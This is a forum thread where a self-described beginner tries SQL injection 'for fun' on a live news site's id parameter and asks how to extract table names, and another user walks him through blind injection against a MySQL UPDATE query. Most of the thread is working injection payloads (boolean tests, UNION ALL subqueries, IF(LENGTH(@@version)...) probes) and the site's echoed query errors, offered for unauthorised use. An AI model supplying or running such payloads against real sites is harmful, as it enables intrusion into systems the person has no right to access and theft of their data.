hi everyone!
I am new in sqlinjection and just 4 fun I am trying a few sql injection in a site.

the url is: http://www.some-site.com/artikull.php?id=61536

when a try to insert a simple 'or 1=1--'

I get this: UPDATE `tbl_news` SET `cnt` = `cnt` + 1 WHERE `id` = 61536 \' or 1=1 -- LIMIT 1;

Is any way how i can reveal more information from database? Like tables names etc...

It seems to be sql injection in MySql UPDATE query and single quotes are not needed.
Good news is that spcedific sql injection may be exploitable.
Bad news is that it's blind injection and not easy to exploit.
So first you need to try some tests:

Code:

id=61536+AND+1=1+


Code:

id=61536+AND+(SELECT+1)=1+


Code:

id=61536+AND+(SELECT+1+UNION+ALL+SELECT+1)=1+


Code:

id=61536+AND+IF(LENGTH(@@version)>1,(SELECT+1+UNION+ALL+SELECT+1),1)=1+


Code:

id=61536+AND+IF(LENGTH(@@version)>100,(SELECT+1+UNION+ALL+SELECT+1),1)=1+

thnx waraxe for the interest,
i tried all of them but I am still getting the same result. for example if try to inject
Code:
+ AND + IF(LENGTH(@@version)>100, (SELECT + 1 + UNION + ALL + SELECT + 1),1)= 1 +

i still get:
Code:
UPDATE `gshqip_lajme` SET `lexime` = `lexime` + 1 WHERE `id` = 61604 + AND + IF(LENGTH(@@version)>100, (SELECT + 1 + UNION + ALL + SELECT + 1),1)= 1 + LIMIT 1;


Some more code's pls
Thanx again,
mikmik

OK, try this:

Code:

id=61536 AND 1=1


Code:

id=61536 AND 1=2


Describe both responses.
